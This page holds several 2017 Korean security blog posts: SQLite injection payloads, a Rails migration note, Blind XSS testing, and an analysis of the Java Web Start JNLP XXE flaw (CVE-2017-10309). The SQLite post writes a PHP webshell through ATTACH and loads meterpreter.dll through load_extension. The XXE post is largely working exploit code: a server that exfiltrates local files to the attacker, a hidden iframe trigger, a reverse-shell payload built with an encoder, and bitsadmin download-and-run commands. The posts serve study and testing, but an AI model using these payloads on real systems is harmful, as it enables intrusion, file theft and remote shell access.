11/20/2017

[WEB HACKING] SQLite SQL Injection and Payload


최근 예전에 SSRF 올렸던 내용의 확장격인 나름 개인의 연구과제와 Blind XSS 테스팅 툴 만드는 것 때문에 짧은 글로 가끔 포스팅하는 것 같습니다. (시간이 없다는 핑계, 사실 놀거 다 놀고 있는 느낌..)

아무튼 오늘은 SQLite 에서의 Injection과 Payload에 대한 이야기를 할까합니다.

Injection Point

서버에서 직접 쓰는 경우는 기존 SQL Injection과 동일합니다. 그저 DB가 어떤거냐의 차이뿐.

대신 SQLite의 경우 로컬스토리지나 모바일 앱에서 많이 사용되고 있기 떄문에 몇가지 또다른 공격 포인트가 있습니다.

1. LocalStorage
HTML5 이후부터 LocalStorage를 이용한 데이터 저장이 많이 이루어지고 있습니다. 그중에는 파라미터를 통한 값들이 DOM 영역을타고 LocalStorage로 저장되어 나중에 불러와지는 경우도 많지요. 덕분에 XSS에서 득을 많이 보고있죠.

(걍 링크로 걸어놓으려고 했는데 정리를 안해뒀었네요)

파라미터를 통해 SQLite(LocalStorage) 부분 제어가 가능할 때 공격자는 피해자의 LocalStorage에 데이터를 읽거나 쓸 수 있고 더 나아가 파일을 생성한다던가, 다른 모듈을 불러오는 등 여러 위험요소로 작용할 수 있습니다.

2. Mobile App
어찌보면 LocalStorage와 비슷합니다. 앱 중에선 파일에 여러 설정정보를 두고 신뢰하는 앱들도 있어 공격을 통해 추가적인 보안 위험이 발생할 수 있습니다.

웹뷰의 캐시부터, 각종 설정~잡다한 정보가 거의 SQLite로 (.db파일) 저장되며 사용되기 때문에 Mobile 환경에서 Client를 대상으로한 SQL Injection 공격 또한 위험하다고 생각됩니다.

Payload1 - SQL Query Control

기본적으로 SQL Injection의 가장 기초적이고, 많이 사용되는 공격은 데이터 조회, 수정, 삭제, 추가 등 Query문 제어입니다.

SQLite도 다른 DB와 동일하게 Injection 구문을 통해 데이터 제어가 가능합니다.

그러나 SQLite는 대체로 Front-end DB로 많이 사용되고 서버보단 사용자 입장에서 동작하는 DB의 경우가 많기 떄문에 전체 테이블, 시스템 정보 탈취보단 Injection을 통해 사용자의 중요 정보를 추출해서 공격자 서버로 보내거나, 토큰으로 활용, DB내 데이터 변조를 통해 XSS, CSRF 등 다른 웹 공격에 사용하는 부분이 많습니다.

Payload2 - ATTACH 를 이용한 Webshell 


ATTACH문은 SQLite에서 새로운 DB를 연결할때 사용합니다. 아래와 같이 쿼리를 넘겼을 때 SQLite는 파일을 생성하고 연결되는 DB(database_name)에 저장되는 데이터를 해당 파일로 저장합니다. (SQLite가 파일 기반이기 떄문에)

ATTACH DATABASE file_name AS database_name;

재미있는점은 이 파일이 생성되는 과정을 이용하면 다른 행위를 할 수 있게됩니다.
.sqlite3, .db 등 보편적인 SQLite 확장자가 아닌 Application 확장자로 파일을 만들고 DB에 데이터를 써서 파일 내용을 채울 수 있습니다.

ATTACH DATABASE '/var/www/html/filename.php' AS zzzz ; CREATE TABLE zzzz.payload (dataz text);INSERT INTO zzzz.payload (dataz) VALUES ('<?php echo phpversion();;?>');

코드를 보면 filename.php 라는 파일을 만들고 이를 zzzz 라는 database로 이름을 지어줍니다. 그 다음 zzzz에 table을 만들어주는데, 값에 php 구문을 넣어주죠.

결론적으론 filename.php라는 php 문서가 생기게됩니다.


OneLine shell로 연결하면 간단한 Injection으로도 시스템 접근 권한 탈취가 가능하겠지요?
물론 웹상에서 SQLite를 사용하는 경우는 적습니다. 대체로 RDBMS나 NoSQL과 연결되지만 간혹, 아주 간혹 사용되는 경우도 있고 안드로이드나 iOS App들은 SQLite를 기본적으로 사용하기 때문에 잘 활용한다면 좋은 공격 포인트가 될 수 있을 것 같습니다.

Payload3 - load_extension을 이용한 동적 라이브러리 로드


load_extension이라는 재미있는 메소드가 있습니다. 이 메소드는 sqlite에서 외부 라이브러리를 로드할 수 있게 해줍니다.

int sqlite3_load_extension(
  sqlite3 *db,          /* Load the extension into this database connection */
  const char *zFile,    /* Name of the shared library containing extension */
  const char *zProc,    /* Entry point.  Derived from zFile if 0 */
  char **pzErrMsg       /* Put error message here if not 0 */
);

load_extension으로 악의적인 라이브러리(쉘)을 호출하게 되면 쉘 접근 권한을 획득할 수 있을겁니다.

UNION SELECT 1,load_extension('meterpreter.dll','DllMain')


Payload4 - PRAGMA문을 이용한 Information Leakage

PRAGMA는 SQLite에서 라이브러리 쿼리를 하기 위해 사용됩니다.
이를 활용하면 연결되는 DB데이터나 파일 저장위치 등 시동 쿼리로 수행할 수 없는 부분을 처리할 수 있습니다.

먼저 database_list나  index_list로 연결되는 DB간의 관계를 파악할 수 있습니다.

PRAGMA database_list
PRAGMA [database.]index_list( table_name ) ;

단일 쿼리로 위험한건 아니지만 공격자가 Injection 쿼리를 통해 여러 정보를 알아가는데 사용될 수 있습니다. (조회된 결과로 인해 조회문 뒤에 이어지는 쿼리의 내용이 바뀌겠지요. 더 알차게!)

temp_store_directory를 조작해서 DB파일이 저장될 위치를 바꿀 수 있습니다.
PRAGMA temp_store_directory = '/path';

딱봐도 위험한 부분이고, 해당 PRAGMA 는 사용할 수 없도록 패치되었습니다.

사용할 수 없다고 한다.

물론 해당 구문을 처리하던 SQLite 버전의 경우 먹히겠죠 :)

이외에도 많은 문법이 있습니다. 잘 활용하면 추가적인 취약점 체크에 사용할 수 있겠지요.

자세한 내용은 pragma 문서 참고해주세요.
https://sqlite.org/pragma.html

Defence

SQL Injection 에 대한 대안은 입력값 검증이 일반적입니다만..

$name = sqlite_escape_string($name);
$result = @$db->query("SELECT * FROM users WHERE username = '{$name}'");
// 알아서 이렇게 짜면 얼마나 좋을까

SQLite측에서 load_extension, ATTACH 문에 대한 적절한 제한이 필요할 것 같습니다.
(물론 이게 굉장히 어렵겠죠. 기능성과 직결되어있어서..)

Reference

https://sqlite.org/c3ref/load_extension.html
https://www.blackhat.com/docs/us-17/wednesday/us-17-Feng-Many-Birds-One-Stone-Exploiting-A-Single-SQLite-Vulnerability-Across-Multiple-Software.pdf
http://www.sqlitetutorial.net/sqlite-attach-database/
https://sqlite.org/pragma.html
Share: | Coffee Me:

[RUBY] ROR DB Column 추가하기(Add column from Ruby on Rails Database)


메모할겸 작성합니다.
rails에서 이미 만들어진 db 스키마를 바꾸기 위해선 migration 으로 가능합니다.

#> rails g migration AddColumnToArray column:string

Array: 추가시킬 table
Column: 추가할 column

dbconsole에서 생성된 부분 확인하고, 이후 각각 View 영역에 추가했지만..

#> rails dbconsole
.sqlite3> select * from logs;


에러가 발생합니다. 안됩니다. 허허헣 분명 db도 들어갔고, View 구간도 처리해줬는데 뭐가 문젠가 했더니 컨트롤러 부분에 파라미터 값 허용 부분이 있더군요 =_=

params 쪽에 보면 허용할 값들이 정해져있고, 해당 부분에도 추가하면 끝

    def log_params
      params.require(:log).permit(:key, :url, :ip, :time, :referer)
    end

Reference

http://relaxwrighting.tistory.com/entry/RUBY-ON-RAILS-Model-수정-컬럼-추가하기

Share: | Coffee Me:

11/12/2017

[WEB HACKING] Blind XSS(Cross-Site Scripting) and Vulnerability Testing

오늘은 Blind XSS에 대한 이야기를 잠깐 할까합니다. 보편적인 XSS와 비슷하고, 테스트 또한 동일하지만 주말동안 Blind XSS에 대해 고민해보니 "아차" 하고 생각난 부분이 있었습니다.

Blind XSS?

먼저 Blind XSS에 대해 정리하고 시작하죠.

XSS에 대해 테스팅할 때 우리는 노출되는 결과, 즉 최종적으로 DOM 영역에 쓰이는 데이터를 가지고 분석을 하게 되는데요. 가끔 이런 분석 자체가 불가능한 경우들이 있습니다.

대표적으로 사이트의 신고, 문의 기능 같이 사용자에게 전혀 노출이 되지 않고 관리자 데이터로 넘어가는 경우이지요. 물론 직접 관리 페이지까지 볼 수 있다면 XSS가 잘 들어갔는지 확인할 수 있지만 아닌 경우도 있습니다.

이런 경우를 Blind XSS라고 부릅니다. Blind SQL Injection 과 같이 눈에 보이지 않는 상태에서 XSS가 성공했는지, 실패했는지 체크하고 이를 이용한 공격을 의미하죠.

사실 최근까지 저 또한 Blind XSS라고 따로 부르지는 않았습니다. 그저 XSS였을 뿐이죠.
천천히 이 Blind XSS에 대해 생각해보니 미쳐 발견하지 못하던 포인트를 찾을 수 있을거란 생각이 들었습니다.

Why so serious?

vignette.wikia.nocookie.net/doctorwhogeneral/images/2/27/Why_so_serious_Joker.jpg

XSS 영향력 자체는 워낙 잘 알려져있고 유연성 또한 매우 높기 때문에 발견 가능성 대비 위험한 취약점입니다. Blind XSS를 이용하면 우리가 볼 수 없는 영역에서 노출된 스크립트의 동작 여부를 체크해볼 수 있습니다.

즉, 공격자도 눈에 보이지 않는 여러 루트의 공격 가능성을 찾아갈 수 있는거죠.

대체로 Blind XSS는 문의하기 같은 부분으로 설명되어 있지만 잘 생각해보면 우리가 테스트하는 모든 XSS는 Blind XSS의 가능성을 가지게 됩니다. XSS 코드가 노출되는 영역 즉, 프론트 페이지에선 필터링 되는 사이트라면 분명 데이터베이스에는 XSS가 코드가 그대로 들어가 있습니다. 물론 반대의 경우에도 디코딩 과정때문에 동작할 수 있겠지만요.

이 데이터가 어떻게 사용되고 노출되는지 공격자는 모릅니다. 여기서 확인이 가능하다면 데이터가 엮여있는 여러 페이지를 체크해가면 찾아볼 수 있습니다. 확인이 불가능한 영역은 알 수 없겠지요.

다만 XSS 코드가 확인할 수 없는 다른 영역(관련 없는 사이트, 내부망, 관리 페이지 등)에서 노출된다면 영향력이 존재하게 됩니다. 이를 통해 내부망까지 노려볼 수 있는 XSS 공격이 가능해진다는 걸 공격자도 알 수 있기 때문에 더더욱 위험합니다.

How to check?

사실 Blind XSS가 가능한 부분은 너무나도 많습니다. 대표적으론 문의, 신고 기능부터 게시글, 사용자가 입력 가능한 부분은 모두 포함될 수 있습니다. 내부에서 데이터들을 어떻게 사용하고 가공하느냐에 따라 무궁무진한 것 같습니다.

일단 스크립트에 동작했는지 여부를 확인하는 코드를 넣고, 그 결과를 다른 곳에서 받아줘야 합니다.

<img src="z" onerror="document.write('<img src=http://192.168.56.1/hwul style=width:1px;height:1px');">

이런식으로 구성해볼 수 있겠네요. 이 코드가 동작하면 DOM에 <img> 태그로 새로운 GET 요청을 발생시키고 이를 통해 서버에선 코드가 실행되었단걸 확인할 수 있어집니다.


이런 비슷한 구조로 테스팅하는 도구가 Burp의 collaborator 기능입니다.
(collaborator도 따로 구축해서 사용하면 굉장히 편리합니다. 이걸로 명령 실행이나 Injection 찾기가 굉장히 수월하죠)


Conclusion

처음 이야기드린 아차 한 부분이 글에 잘 나타났을지는 모르겠네요.
바로

모든 XSS 구문에 가능성이 있고 특수 사용자에게 트리거 될 가능성이 높다는 점입니다. 

잘 생각해보면 가능성을 놓치고 있었을 거란 생각이 드네요.

마지막으로 관련해서 테스팅툴을 하나 만들고 있습니다.
https://github.com/hahwul/hbxss

딱 Blind XSS 테스팅용 툴로 만들고 기능이 많진 않아 금방 완료할 것 같네요. 다 만들어지면 사용법 정도 포스팅해보겠습니다 :)
Share: | Coffee Me:

11/06/2017

[EXPLOIT] JAVA SE Web start JNLP XXE 취약점 분석(CVE-2017-10309, feat Metasploit)

요즘 시간내기가 왜이리 어려운건지.. 덕분에 오랜만에 취약점 분석글을 작성하네요.
오늘은 지난 10월 말 공개된 JAVA SE 관련 XXE 취약점에 대해 이야기할까 합니다.

Vulnerability Metrics

JAVA SE 8 버전 u131 빌드 이전에 발생하는 취약점입니다. XXE를 통해 파일 탈취, SSRF, 코드실행(환경에 따라) 등 여러가지 공격이 가능합니다.

>v8u131

보편적으로 XXE 취약점은 서버단에서 동작하는 케이스가 많습니다만 이 취약점의 경우 클라이언트단 코드 실행으로 사용자를 대상으로한 웹 기반 공격에 사용될 수 있습니다.

CVSS로 풀어보면 아래와 같습니다.

CIA: P/P/P
Access Vector: network
Access Complexity: medium
Auth: none
(AV:N/AC:M/Au:N/C:P/I:P/A:P)

XXE이기 때문에 영향력은 확실하네요.

JNLP?


Java Network Launch Protocol(JNLP)의 약자로 원격지의 웹 서버에서 돌아가고 있는 응용프로그램에 대해 명령을 전달하는 프로토콜입니다. Java 플러그인이나 JWS(Java Web Start)에서도 사용되고 있죠.

https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html


JNLP API
 - FileOpenService API
 - FileSaveService API
 - ClipboardService API
 - PrintService API
 - PersistenceService API
 - DownloadService API
 - DownloadServiceListener API
 - SingleInstanceService AP
 - ExtendedService API

자세한 내용은 https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html 참조

JNLP는 Registry(HKEY_CLASSES_ROOT\jnlp\Shell\Open\Command\Default)에 등록된 jp2launcher.exe 를 사용해서 동작하고,
대체로 jre/bin 아래 존재합니다.

C:\Program Files\Java\jre1.8.0_131\bin\jp2launcher.exe" -securejws "%1"

재미있는건 JRE가 JNLP 프로토콜을 만날 때 별도의 커스텀 프로토콜 등록 과정(아마 JRE 설치 시 포함됬을 것 같네요)이 없어도 동작이 가능하다는 점입니다. 예를들면..

<iframe src="jnlp://192.168.56.101/test.jnlp"></iframe>

이런 구문이 웹상에서 있을 때 웹 브라우저는 jnlp 프토토콜을 통해 192.168.56.101 서버와 통신을 하게됩니다.
그럼 의문이 생기겠죠? 이게 왜 위험하게 된걸까?

Vulnerability

JNLP는 XML을 파싱하여 명령을 수행합니다. 공식홈에서 제공하는 코드를 보면 XML 안에 <jnlp> 태그로 선언이 이루어집니다. 그 안에 각각 태그로 어플리케이션에 대한 정보를 넘겨주고, 응답을 받은 Java SE(Client)는 이 요청에 따라 명령을 수행하게됩니다.

<?xml version="1.0" encoding="UTF-8"?>
<jnlp spec="1.0+" codebase="" href="">
    <information>
        <title>Dynamic Tree Demo</title>
        <vendor>Dynamic Team</vendor>
        <icon href="sometree-icon.jpg"/>
        <offline-allowed/>
    </information>
    <resources>
        <!-- Application Resources -->
        <j2se version="1.6+" href=
           "http://java.sun.com/products/autodl/j2se"/>
        <jar href="DynamicTreeDemo.jar"
            main="true" />

    </resources>
    <application-desc
         name="Dynamic Tree Demo Application"
         main-class="webstartComponentArch.DynamicTreeApplication"
         width="300"
         height="300">
     </application-desc>
     <update check="background"/>
</jnlp>

여기서 봐야할부분은 XML을 이용한 통신입니다. 예전이나 지금이나 XML에 관련된 공격 기법은 자꾸 늘어나고 있고 현재 웹 공격의 메타인 XXE까지 시도해볼 수 있는 부분들이 많이 있겟지요.

코드 보기에 앞서 JWS의 동작 순서만 조금 정리해봅시다.

1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
4. Java App 구동 시작

정상적인 JWS<->JNLP 구동은 이런 순서로 이루어집니다. 이 취약점에서는 3번 항목에 ENTITY 구문을 넣어 XXE로 구동 시킨 경우입니다.

1. 클라이언트의 웹 브라우저가 JWS App내 JNLP 프로토콜(jnsp://~~)로 접근
2. 웹 서버는 요청하는 JNLP 파일을 반환(해당 데이터는 XML)
3. 클라이언트는 JNLP 파일에 있는 Jar 파일의 경로를 참조하여 다운로드 후 main 메소드 호출
  + <ENTITY> 구문을 통해 공격자가 원하는 동작 수행
  + 여기부턴 일반적인 XXE 구문과 동일
4. Java App 구동 시작

실제 공격코드는 ..

<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">

이런식으로 구성되고 윗줄은 %s(파라미터값 중 파일이름)를 읽어 파일을 가져오고 그 내용을 data 에 저장한 후
다음 구문에서 원격지 주소(공격자)로 data 값을 포함한 GET 요청을 던지도록 구성되어있습니다.

XXE를 이용해서 파일 내용을 탈취하는 구문으로 보시면 됩니다.

자 이제 PoC 코드를 볼까요?

PoC Code

정말 아주 단순합니다. 페이지 자체에 jnlp를 사용해서 링크를 걸고 해당 데이터엔 XXE 구문을 넣어주기만 하면 끝이죠.
공개된 PoC에선 파일을 읽어 공격자에게 전송하는 코드로 만들었네요.

전체 코드(https://www.exploit-db.com/exploits/43103/)

def do_GET(self) 함수로 웹 요청을 처리합니다. URI Path 값을 기준으로 if로 분기해서 각각 때에 맞는 동작을 수행하지요.

/leaked
        if "leaked" in self.path:
            print "(+) stolen: %s" % self.path.split("?")[1]
            self.send_response(200)
            self.end_headers()

leaked 부분은 흐름상 마지막 부분입니다. XXE롤 통해 넘어온 정보(파일의 내용)을 받아 공격자 서버로 print 해줍니다.


/
        elif self.path == "/":
            print "(!) firing webstart..."
            self.send_response(200)
            self.end_headers()
            message = """
            <html>
            <body>
            <iframe src="jnlp://%s:9090/%s" style="width:0;height:0;border:0; border:none;"></iframe>
            </body>
            </html>
            """ % (ip, path)
            self.wfile.write(message)
            self.wfile.write('\n')
/ 는 첫 호출 시 iframe으로 jnlp 프로토콜을 호출하는 과정입니다. 다만 jnlp 프로토콜을 호출해서 동작할 수 있는 태그들에 대해 테스트좀 해봐야할 것 같네요.
iframe, object, embed 는 될 것 같고.. img나 이런 범용적인 친구들중에 나오면 나이스일듯



/si.xlm 
        elif "si.xml" in self.path:
            print "(!) downloading si.xml..."
            self.send_response(200)
            self.end_headers()
            message = """
            <!ENTITY %% data SYSTEM "file:///%s">
            <!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">
            """ % (file, ip)
            self.wfile.write(message)
            self.wfile.write('\n')

si.xml을 호출하는 과정은 jnlp 코드가 로드된 이후입니다. jnlp 프로토콜로 si.xml을 호출하게 되고 여기에는 실제 공격구문이 들어가게 되죠.


Other
        elif path in self.path:
            print "(!) downloading jnlp..."
            self.send_response(200)
            self.end_headers()
            message = """
            <?xml version="1.0" ?>
            <!DOCTYPE r [
            <!ELEMENT r ANY >
            <!ENTITY %% sp SYSTEM "http://%s:9090/si.xml">
            %%sp;
            %%param1;
            %%exfil;
            ]>
            """ % ip
            self.wfile.write(message)
            self.wfile.write('\n')
        return

jnlp 코드가 호출되면 XXE 코드를 통해 payload가 담긴 진짜 XXE 코드를 불러오게 됩니다.


Exploit

#> python exp.py 'C:/Program Files/Java/jre7/README.txt'

Oracle Java Web Start JNLP XML External Entity Processing Information Disclosure Vulnerability
mr_me 2017

(+) select your interface: lo, wlp1s0, enx00e04c560cd5, docker0: enx00e04c560cd5
jnlp://192.168.56.1:9090/yapjayuflm.jnlp
(+) starting xxe server...
(+) have someone with Java SE installed visit: http://192.168.56.1:9090/
(!) firing webstart...

Poc 구동 시 웹 서버가 활성화되고(파이썬) 9090 포트를 열어 요청에 대기합니다.
클라이언트 접근 시


jnlp 프로토콜을 주소로하는 iframe 코드를 생성하여 사용자로 하여금 해당 페이지에 접근하게 합니다. jnlp 프로토콜이기 때문에 jnlp 파일을 다운로드하고 그 안에 xml 코드를 실행하게 되죠.

xml가 정상적으로 실행되면 내부에 있던 XXE 구문으로 인해 공격자가 지정한 파일의 값을 읽어 공격자 콘솔로 넘겨줍니다.

<!ENTITY %% data SYSTEM "file:///%s">
<!ENTITY %% param1 "<!ENTITY &#x25; exfil SYSTEM 'http://%s:9090/leaked?%%data;'>">



README.txt 파일을 잘 읽어왔네요.

Other scenario

사용자 대상 공격이라 아마 거의 없을 듯 하지만.. 혹시라도 php와 expect 모듈이 깔려있다면 쉽게 쉘까지 획득 가능할겁니다.

먼저 payload 파일을 만들어줍니다.

#> hvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -f exe -o p.exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: p.exe

그리고 공격구문엔 p.exe를 다운로드 하는 구문과 실행하는 구문을 넣어 XXE가 동작할때 payload를 실행하도록 합니다.

<!ENTITY test SYSTEM "expect://bitsadmin /transfer get http://192.168.56.1/p.exe %cd%p.exe">
<!ENTITY test SYSTEM "expect://start p.exe">

※ 여기서 팁 하나, 윈도우에서 파워쉘을 사용하지 않아도 bitsadmin 명령으로도 파일 다운로드가 가능합니다. 

자 이제 handler 돌려주시고..

HAHWUL exploit(handler) > exploit -z
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.56.1:4444

XXE를 동작시켜보면


Reference

https://www.exploit-db.com/exploits/43103/
https://docs.oracle.com/javase/tutorial/deployment/deploymentInDepth/jnlp.html
https://docs.oracle.com/javase/8/docs/jre/api/javaws/jnlp/javax/jnlp/package-summary.html
Share: | Coffee Me: